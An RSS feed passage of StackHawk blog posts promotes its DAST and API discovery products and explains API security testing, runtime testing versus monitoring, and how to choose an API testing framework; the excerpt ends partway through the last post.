<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[StackHawk]]></title><description><![CDATA[Deploy secure applications with StackHawk. Find and fix application security bugs in the build pipeline. Built for developers to own their AppSec.]]></description><link>https://www.stackhawk.com</link><generator>GatsbyJS</generator><lastBuildDate>Thu, 20 Mar 2025 17:50:45 GMT</lastBuildDate><item><title><![CDATA[Introducing StackHawk’s GitLab Integration: Unlock Full API Discovery for Your Code]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-gitlab-api-discovery</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Aaron White]]></dc:creator><content:encoded>&lt;p&gt;We’re excited to share that StackHawk’s &lt;a href=&quot;https://www.stackhawk.com/blog/announcing-api-discovery-powered-by-hawkai/&quot;&gt;&lt;b&gt;&lt;u&gt;API Discovery&lt;/u&gt;&lt;/b&gt;&lt;/a&gt; feature now integrates seamlessly with &lt;b&gt;GitLab&lt;/b&gt;! With this new addition, teams using GitLab can automatically uncover their APIs, microservices, and web applications and bring them under continuous security testing. Whether you’re on GitLab SaaS (Premium or Ultimate) or using a self-managed GitLab instance that’s publicly accessible, our new integration enables you to easily inventory and secure your API Attack Surface.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Why GitLab + StackHawk?&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Discovery&lt;/b&gt;: Instead of manually sifting through repositories, StackHawk analyzes your GitLab repositories to identify running testable applications and APIs, ensuring nothing goes unnoticed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;AI-Driven Insights&lt;/b&gt;: Accelerate your vulnerability protection with the power of AI, providing context and prioritization so you know where to focus your remediation efforts first.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Repository Insights&lt;/b&gt;: Beyond just finding endpoints, StackHawk offers commit history and framework details, giving security and development teams deeper visibility to plan tests effectively.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enterprise-Ready&lt;/b&gt;: Available on the StackHawk &lt;b&gt;Enterprise Plan&lt;/b&gt;, this integration is designed to tackle large or complex codebases with ease.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;i&gt;“StackHawk&amp;#39;s API discovery notified us of a new repository within two minutes of commits being pushed and gave us an indication that it&amp;#39;s a testable API with a postman collection in it. That&amp;#39;s more than enough for us to start a &lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;conversation with the developer to understand how we can get that under test.”&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Importance of a Complete Attack Surface View&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Modern applications often span multiple repos, microservices, and code bases. By connecting GitLab to StackHawk:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;You gain a &lt;b&gt;unified view&lt;/b&gt; of every Application and API across all your teams and projects.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;You can &lt;b&gt;shift security left&lt;/b&gt; by identifying vulnerabilities early, right at the code repository level.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;You enable &lt;b&gt;DevSecOps collaboration&lt;/b&gt;, with security directly integrated into developer workflows.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;We now Support ALL the Major Source Code Management Systems&lt;/b&gt;&lt;/p&gt;&lt;p&gt;If GitLab isn’t your only code platform—no worries. Our coverage expands across &lt;b&gt;GitHub&lt;/b&gt;, &lt;b&gt;Microsoft Azure&lt;/b&gt;, and &lt;/p&gt;&lt;p&gt;&lt;b&gt;Bitbucket&lt;/b&gt; too. No matter where your code lives, StackHawk has you covered.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Getting Started&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Getting up and running is a snap:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Create a GitLab Group Access Token&lt;/b&gt; with the read_api scope.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Connect Your Group&lt;/b&gt; in StackHawk’s Integrations page.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Configure&lt;/b&gt; which repos to monitor on StackHawk’s Attack Surface screen.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Sit back as we discover your APIs and alert you to new endpoints and potential vulnerabilities!&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;b&gt;Final Thoughts&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Security can’t wait until after code is deployed. With&lt;a href=&quot;https://www.stackhawk.com/blog/how-api-discovery-empowers-appsec-professionals-and-fuels-innovation/&quot;&gt;&lt;u&gt; &lt;/u&gt;&lt;b&gt;&lt;u&gt;StackHawk’s GitLab API Discovery&lt;/u&gt;&lt;/b&gt;&lt;/a&gt; integration, you no longer have to guess if you’re testing the entire application and API footprint. Try it out and see how you can proactively protect your APIs from the earliest phases of development through production.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Ready to Secure Your GitLab Repos?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Visit our&lt;a href=&quot;https://www.stackhawk.com/solutions/api-discovery/&quot;&gt;&lt;u&gt; API Discovery page&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://auth.stackhawk.com/login&quot;&gt;&lt;u&gt;login&lt;/u&gt;&lt;/a&gt; to StackHawk to connect your GitLab instance today!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why Legacy DAST Fails for Modern Applications and How to Fix It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/why-legacy-dast-fails-for-modern-applications-and-how-to-fix-it</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;h2&gt;&lt;b&gt;APIs ARE Your Application&lt;/b&gt;: &lt;b&gt;So Why Aren&amp;#39;t You Testing Them?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;If you&amp;#39;re still using legacy Dynamic Application Security Testing (DAST) tools to secure your APIs, you&amp;#39;re leaving your biggest attack surface untested.&lt;/p&gt;&lt;p&gt;Legacy DAST was designed for a different era one where applications were server-rendered, HTML-based, and had a predictable structure. But today&amp;#39;s applications aren&amp;#39;t static web pages. They are API-first, often built with Single Page Applications (SPAs) that dynamically fetch data from backend services. APIs aren&amp;#39;t just a supporting feature; they &lt;i&gt;are&lt;/i&gt; the application.&lt;/p&gt;&lt;p&gt;Yet, most traditional DAST tools still rely on crawling web pages, looking for forms to submit, and using outdated session-based authentication. They completely fail to handle modern application security testing in an API-driven world&lt;/p&gt;&lt;p&gt;Let&amp;#39;s dig into the details of why legacy DAST struggles with modern architectures, what&amp;#39;s actually required to test API security, and how StackHawk built a modern DAST solution that developers can use to catch vulnerabilities before they ship.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Why Legacy DAST Falls Short in an API-First World&lt;/b&gt;&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;1. SPAs Broke the Traditional Crawling Model&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Legacy DAST tools rely on crawling to discover attack surfaces. This means they scan an HTML page, extract all the links, follow them to new pages, and repeat the process to map out the application. This worked when applications were built as multi-page, server-rendered sites where clicking a link loaded a new page with a new set of form fields and inputs.&lt;/p&gt;&lt;p&gt;But modern SPAs don&amp;#39;t work this way. Instead of loading new pages, SPAs dynamically fetch content from APIs and update the UI with JavaScript. This means:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;No static URLs to crawl: An SPA might only load a single HTML page, with all application logic happening in the browser. Legacy scanners won&amp;#39;t even see most of the functionality.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Navigation is handled in-memory: SPAs use JavaScript frameworks like React, Vue, and Angular, which update the page state dynamically without full-page reloads. A scanner that doesn&amp;#39;t execute JavaScript fully &lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/javascript/javascript-seo-basics&quot;&gt;won&amp;#39;t even recognize when the app has navigated.&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;User interactions are event-driven: Clicking a button in an SPA often triggers an API call, not a traditional form submission. Legacy scanners, expecting standard web form inputs, miss these interactions entirely.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Even if the crawler uses Javascript technology to try to navigate the web page, it&amp;#39;s a never ending task. When was the last time you got to the end of your Instagram feed.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For a security scanner, this means that the old method of crawling and form-based input testing is &lt;i&gt;fundamentally broken&lt;/i&gt;. If a scanner can&amp;#39;t reach functionality through HTML crawling, it can&amp;#39;t test it for security risks.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;2. APIs ARE the Application, And Legacy DAST Ignores Them&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In traditional applications, business logic was executed on the server, and the frontend simply rendered the output. But in modern applications, the backend is an API that serves as the core of the application. The frontend, whether it&amp;#39;s a web app, mobile app, or third-party integration, simply consumes the API. &lt;/p&gt;&lt;p&gt;This means that APIs are the real attack surface. A malicious actor doesn&amp;#39;t need your UI to interact with your API; they can make direct API calls and attempt to exploit vulnerabilities.&lt;/p&gt;&lt;p&gt;Yet, most legacy DAST tools are still designed around web-based testing. They focus on clicking buttons, submitting forms, and testing page responses rather than interacting with APIs directly. If an API isn&amp;#39;t exposed through a visible web form, legacy DAST won&amp;#39;t find it, meaning it won&amp;#39;t test it. &lt;/p&gt;&lt;p&gt;APIs &lt;i&gt;are&lt;/i&gt; your application. Attackers don&amp;#39;t need your UI to exploit your app, if they can reach your API, they can attack it directly. Yet most legacy security tools still treat APIs as an afterthought. &lt;/p&gt;&lt;p&gt;Attackers aren&amp;#39;t waiting for a scanner to discover an API endpoint. They use tools like Burp Suite, Postman, and Fuzzers to test APIs directly. Security teams should be doing the same.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;3. Authentication in Modern APIs Breaks Legacy DAST&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Traditional DAST tools expect authentication to work in a simple, session-based way, log in with a username and password, receive a session cookie, and carry that cookie forward in all requests. But modern applications use &lt;a href=&quot;https://konghq.com/blog/engineering/common-api-authentication-methods&quot;&gt;API-first authentication mechanisms&lt;/a&gt; like:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;OAuth 2.0&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;JSON Web Tokens (JWTs)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;API keys and token-based authentication&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These authentication models don&amp;#39;t rely on session cookies, meaning a legacy scanner often can&amp;#39;t authenticate properly. If a scanner can&amp;#39;t authenticate, it can&amp;#39;t test any API endpoints that require authorization, leaving huge portions of the application untested. &lt;/p&gt;&lt;p&gt;Login recorders are exacerbating the problem. Making complex authentication look simple is the goal, but completely misses the mark. This leads to busted authentication every few days and ineffective scans.&lt;/p&gt;&lt;p&gt;Modern API security testing needs to handle real authentication flows, such as retrieving OAuth tokens, passing API keys, and maintaining authorization state across multiple API requests. Legacy DAST simply isn&amp;#39;t built for this.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;4. Stateful API Workflows Aren&amp;#39;t Tested&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Many API vulnerabilities don&amp;#39;t exist in a single request, they emerge when an attacker chains multiple requests together. This is particularly true for:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Broken authentication: Testing whether an expired or stolen token can be reused inappropriately.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Business logic flaws: Manipulating the sequence of API calls to gain unintended privileges.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Authorization bypasses: Checking whether certain actions are improperly exposed when replaying requests with modified parameters.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Legacy DAST tools operate in a stateless manner, meaning they send requests in isolation without maintaining API session state. If a vulnerability requires a specific sequence of actions to trigger, traditional scanning tools will miss it.&lt;/p&gt;&lt;p&gt;This is why API security testing must support stateful workflows, allowing testers to authenticate, retrieve tokens, make sequential requests, and analyze responses across multiple API interactions.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;How StackHawk Solves API Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Instead of retrofitting crawling-based testing into an API-first world, StackHawk was built to test APIs directly, with &lt;a href=&quot;https://www.stackhawk.com/solutions/dast/?__hstc=164878048.fce413144798570e6cf43ed24237b624.1728490684008.1741378813932.1742229252083.105&amp;__hssc=164878048.1.1742229252083&amp;__hsfp=696856021&quot;&gt;features designed&lt;/a&gt; for how modern applications actually work:&lt;/p&gt;&lt;h4&gt;&lt;b&gt;1. Schema-Based API Testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Instead of relying on web crawling, StackHawk ingests &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html?__hstc=164878048.fce413144798570e6cf43ed24237b624.1728490684008.1741378813932.1742229252083.105&amp;__hssc=164878048.1.1742229252083&amp;__hsfp=696856021&quot;&gt;OpenAPI&lt;/a&gt;, &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/graphql-configuration.html?__hstc=164878048.fce413144798570e6cf43ed24237b624.1728490684008.1741378813932.1742229252083.105&amp;__hssc=164878048.1.1742229252083&amp;__hsfp=696856021&quot;&gt;GraphQL&lt;/a&gt;, &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/gRPC-configuration.html?__hstc=164878048.fce413144798570e6cf43ed24237b624.1728490684008.1741378813932.1742229252083.105&amp;__hssc=164878048.1.1742229252083&amp;__hsfp=696856021&quot;&gt;gRPC&lt;/a&gt;, and &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/soap-configuration.html?__hstc=164878048.fce413144798570e6cf43ed24237b624.1728490684008.1741378813932.1742229252083.105&amp;__hssc=164878048.1.1742229252083&amp;__hsfp=696856021&quot;&gt;SOAP&lt;/a&gt; schemas to identify API endpoints directly. This ensures that every API route is tested, not just the ones a crawler happens to find.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;2. Direct API Security Testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;StackHawk sends API requests directly, applying security test cases to endpoints just like an attacker would. This eliminates the need for form-based input discovery and ensures that all attack surfaces are tested.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;3. Full Authentication Support&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;StackHawk handles real API authentication methods, including OAuth, JWTs, and API keys. It authenticates like a real client, meaning authenticated API routes are actually tested. Oh, and we cover custom auth flows that someone might have built after drinking too much coffee.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;4. Stateful API Workflows&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;StackHawk can execute sequences of API requests to test vulnerabilities that only appear in multi-step workflows, like authentication failures, session manipulation, and authorization bypasses.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;5. Built for CI/CD&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Unlike traditional security tools that run infrequently as part of separate security audits, StackHawk integrates into &lt;a href=&quot;https://www.stackhawk.com//solutions/devsecops/?__hstc=164878048.fce413144798570e6cf43ed24237b624.1728490684008.1741378813932.1742229252083.105&amp;__hssc=164878048.1.1742229252083&amp;__hsfp=696856021&quot;&gt;CI/CD pipelines&lt;/a&gt;, allowing security tests to run automatically during development. This means security issues are caught early, when they are easiest to fix.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Why This Matters for Application Security&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Legacy DAST tools weren&amp;#39;t built for API-first applications, and retrofitting them to work in a modern security pipeline is an exercise in frustration. Crawling doesn&amp;#39;t work, authentication is broken, and APIs the actual attack surface go untested.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re serious about application security, you need security testing that treats APIs as first-class citizens. StackHawk is built for exactly this purpose: API-native security testing that fits into modern development workflows.&lt;/p&gt;&lt;p&gt;APIs are your application. If you&amp;#39;re not testing them properly, you&amp;#39;re leaving your app exposed.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Stop Reacting, Start Testing: A Dynamic Approach to Runtime Security]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stop-reacting-start-testing-a-dynamic-approach-to-runtime-security</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;Over the years, &amp;quot;runtime security&amp;quot; has become a bit fuzzy, often used interchangeably with various tools and methodologies. However, not all runtime approaches are created equal. We&amp;#39;re diving deep into the core of runtime security, separating myth from reality and highlighting why a dynamic approach to runtime testing is crucial for your security program.&lt;/p&gt;&lt;h2&gt;Introduction to Runtime Security&lt;/h2&gt;&lt;p&gt;When we talk about runtime security, we&amp;#39;re essentially addressing the vulnerabilities or suspicious behavior that manifest when an application is actively running. This is where the rubber meets the road, where theoretical vulnerabilities become real-world threats. But what does runtime security actually entail?&lt;/p&gt;&lt;p&gt;First, you must understand that not all runtime solutions are the same. Many confuse runtime monitoring with runtime testing and miss the opportunity to enhance the overall security posture of their attack surface. Let&amp;#39;s break down the differences and explore why a proactive testing approach, specifically Dynamic Application Security Testing (DAST), stands out.&lt;/p&gt;&lt;h2&gt;Understanding Runtime Security Testing and DAST&lt;/h2&gt;&lt;p&gt;At its core, runtime security testing involves evaluating an application&amp;#39;s security while it&amp;#39;s running (obviously). DAST is a prime example of this methodology. It simulates real-world attacks to identify vulnerabilities that can be exploited. This approach is beneficial because:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Real-World Exploitation:&lt;/b&gt; Unlike static analysis tools that examine code in a non-running state, DAST uncovers vulnerabilities that are exploitable in live environments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Contextual Findings:&lt;/b&gt; DAST provides context by showing how vulnerabilities can be chained together to compromise an application, offering a clearer picture of the actual risk.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive Coverage:&lt;/b&gt; DAST can uncover vulnerabilities other tools might miss, such as configuration issues or interactions between different components.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Distinction Between Testing and Monitoring&lt;/h2&gt;&lt;p&gt;A common misconception is that runtime monitoring is equivalent to runtime testing. While monitoring tools are vital in observing application behavior and detecting anomalies, they don&amp;#39;t actively probe for vulnerabilities or inform you where the issue exists in the code.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Runtime Testing (DAST):&lt;/b&gt; This happens before code is pushed to production and actively probes for vulnerabilities by simulating attacks. It&amp;#39;s about identifying and validating exploitable weaknesses before malicious actors can leverage them in the wild.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Runtime Monitoring:&lt;/b&gt; This happens once the software is in production and focuses on observing and alerting on deviations from expected behavior. It&amp;#39;s about detecting anomalies and potential threats in real time.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To illustrate the difference, think of it this way: Testing is like making sure every door to your house is shut and effectively locked to prevent intruders from entering. Monitoring is like watching an intruder steal your TV from your security camera feed. &lt;/p&gt;&lt;p&gt;Testing tells you &lt;i&gt;what&lt;/i&gt; is wrong and &lt;i&gt;how&lt;/i&gt; to fix it &lt;i&gt;before&lt;/i&gt; something goes live, while monitoring tells you &lt;i&gt;if &lt;/i&gt;something is wrong &lt;i&gt;after&lt;/i&gt; it is live.&lt;/p&gt;&lt;h2&gt;Comparing Security Testing Approaches: Why DAST Stands Out&lt;/h2&gt;&lt;p&gt;Static Application Security Testing (SAST), Software Composition Analysis (SCA), and Secrets Management tools find potential vulnerabilities, but DAST finds &lt;i&gt;real, exploitable issues&lt;/i&gt;.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;SAST and SCA analyze code and dependencies for known vulnerabilities, but they can produce false positives and may miss runtime-specific issues, such as misconfigurations in IAC.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Secrets Management ensures sensitive data is not exposed, but it doesn&amp;#39;t test how those secrets are used in a running application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DAST, on the other hand, validates vulnerabilities in a live environment, providing concrete evidence of their exploitability. This prioritization and context are what sets DAST apart.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Misconceptions About Runtime Security&lt;/h2&gt;&lt;p&gt;One of the main misconceptions is the idea that runtime testing is solely a production activity. That is false. Modern DAST can and should be integrated throughout the software development lifecycle (SDLC).&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pre-Production Testing:&lt;/b&gt; DAST can be used in staging and testing environments to identify vulnerabilities before they reach production.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Testing:&lt;/b&gt; Integrating DAST into CI/CD pipelines enables continuous security testing, ensuring that vulnerabilities are identified and addressed early.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Production Testing:&lt;/b&gt; With proper safeguards, DAST can also be used in production to validate security controls and identify emerging threats.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;
Another major misconception is that all runtime tools provide the same level of security. As mentioned above, monitoring and testing are distinct disciplines. Relying solely on monitoring is a reactive approach that can leave critical vulnerabilities undetected and lack the proper context to fix quickly when suspicious behavior is detected. &lt;/p&gt;&lt;p&gt;While &amp;quot;runtime security&amp;quot; may have become diluted over the years, its core purpose remains critical: identifying and fixing vulnerabilities in live applications. By understanding the distinction between runtime monitoring and dynamic testing, organizations can move beyond reactive measures and adopt a proactive security posture. DAST&amp;#39;s ability to simulate real-world attacks in pre-production environments, provide contextual insights, and offer comprehensive coverage makes it an effective solution for any security program. Embracing a dynamic approach to runtime testing throughout the SDLC ensures that vulnerabilities are not just detected but actively addressed, ultimately strengthening your security program and protecting your applications from real-world threats.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The Ultimate Guide to Choosing an API Testing Framework]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-testing-framework</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;APIs (Application Programming Interfaces ) are critical in linking applications and services, ensuring seamless digital interactions. However, API failures can lead to significant issues like transaction errors, login problems, and data breaches, negatively impacting user experience and business operations.&lt;/p&gt;&lt;p&gt;This blog post breaks down API testing frameworks, offering insights to help developers choose the right tools for effective API testing. We&amp;#39;ll dive into the essentials of API testing and its importance and address emerging challenges in the field.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Testing?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing evaluates the performance, security, and reliability of application programming interfaces. It focuses on the &amp;quot;business logic layer&amp;quot; of software architecture, where data exchange and processing occur. Unlike UI testing, which is directed at assessing the user interface, API testing delves into the core functionality of the application, establishing it as an essential component of the software testing process within the software development lifecycle (SDLC).&lt;/p&gt;&lt;p&gt;API testing involves sending various requests to the API to validate API responses. These requests simulate real-world interactions with the API, such as user logins, data retrieval, or order processing. As testers, we examine the responses for accuracy, completeness, speed, and security. This process helps identify bugs, vulnerabilities, and performance bottlenecks before they impact users.&lt;/p&gt;&lt;p&gt;Ideally, the API used for executing test cases should closely mirror the production API your customers interact with. This ensures that new features or fixes work as intended under real-world conditions.&lt;/p&gt;&lt;p&gt;To conduct effective API testing, developers need a solid grasp of the API&amp;#39;s specifications and expected functionality. Utilizing&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-rest-api-testing-tools-and-best-practices-for-success/&quot;&gt; &lt;u&gt;API testing tools&lt;/u&gt;&lt;/a&gt;, they should implement a comprehensive API testing process that includes designing test cases for a broad spectrum of scenarios—normal operations, edge cases, and error scenarios. This approach, particularly when automated API testing is employed, ensures the API performs reliably across different situations and fulfills the established criteria.&lt;/p&gt;&lt;p&gt;Testing APIs encompasses a variety of techniques and approaches, which we&amp;#39;ll discuss soon. For example:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Functional testing to verify individual API endpoints&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Load testing to assess performance under stress&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Security testing to identify vulnerabilities&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The right API testing tools and framework aim to automate these processes and achieve comprehensive coverage. For example, StackHawk specializes in&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;dynamic application security testing&lt;/u&gt;&lt;/a&gt; (DAST) to identify and fix vulnerabilities early in the development process. The specific methods and tools employed depend on the complexity of the API, the development environment, and your overall goals for software testing.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Benefits of API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing offers significant advantages that contribute to faster development cycles, improved software quality, and enhanced user experiences.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Enhancing Software Quality&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Robust API testing ensures that APIs work correctly across various scenarios by uncovering functional, performance, and security issues. Automated tests detect regressions and inconsistencies early, reducing the technical debt and maintenance workload, which translates into higher code quality and system reliability.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Reducing Development Costs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Early detection of issues through efficient API testing significantly reduces development costs by catching errors before they become expensive to fix post-deployment. By integrating automated testing tools into the software development process, teams minimize manual labor and decrease the risk of errors, enabling continuous validation of changes. This efficiency prevents costly later-stage corrections and allows developers to focus more on delivering high-quality software components quickly.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Supporting Faster Time-to-Market&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API testing can accelerate software development by using a continuous integration (CI) process within the CI/CD pipeline. Using automated tests, teams can continuously validate API functionality, security, and performance with every code commit. This constant verification enables quicker feedback loops and equips teams to iterate rapidly and push high-quality applications to market with greater velocity.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Ensuring Seamless Integration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs bridge the communication gap between disparate systems and services, with API testing being the gatekeeper that ensures smooth interactions post-updates. By rigorously checking compatibility, reliability, and data integrity, API testing mitigates the risk of integration breakdowns, laying the groundwork for scalable, interoperative software ecosystems.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Enhancing Security and Reliability&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;During API testing, security assessments are crucial for spotting vulnerabilities such as insecure authentication, data exposure, and&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt; &lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt;. Employing security-focused testing tools enables businesses to uncover and mitigate potential risks, enhancing&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-best-practices-ultimate-guide/&quot;&gt; &lt;u&gt;API security&lt;/u&gt;&lt;/a&gt;. Automating security validations ensures ongoing protection with minimal manual oversight, thereby increasing efficiency. Robust and secure APIs boost user trust and adoption, underpinning the application&amp;#39;s reliability and market success.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Improving User Experience&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The performance of APIs is a critical determinant of user satisfaction. Investing in the best API testing tools simplifies the process of ensuring APIs can manage fluctuating traffic, unexpected inputs, and edge cases effectively. These testing tools provide real-time feedback and actionable insights, enabling quick resolution of performance issues. Integrating these tools into your development process instills confidence that the app will provide a seamless and dependable user experience in production environments.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing requirements combine various approaches to achieve comprehensive coverage across functionality, performance, and security. Each type of testing addresses specific goals, like validating behavior, identifying vulnerabilities, or ensuring compatibility. Together, they help teams deliver reliable, secure, and high-performing APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Functional Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/functional-api-testing/&quot;&gt;&lt;u&gt;Functional API testing&lt;/u&gt;&lt;/a&gt; assesses if an API performs as anticipated by validating its essential functions, such as request handling, data processing, and accurate response delivery. This ensures the API fulfills business demands and provides consistent outcomes under standard conditions. For instance, to confirm that a user authentication API operates correctly, functional testing could involve sending requests with both valid and invalid user credentials. In this case, the test would expect the API to successfully authenticate requests with valid credentials, returning a 200 status code, while rejecting requests with invalid credentials by returning a 401 status code, thereby proving the API’s capability to handle authentication accurately.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Regression Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Regression testing ensures that changes to the API, such as updates or bug fixes, do not break existing functionality. This type of testing really comes in handy in iterative development, where frequent changes can inadvertently introduce new issues. For example, a regression 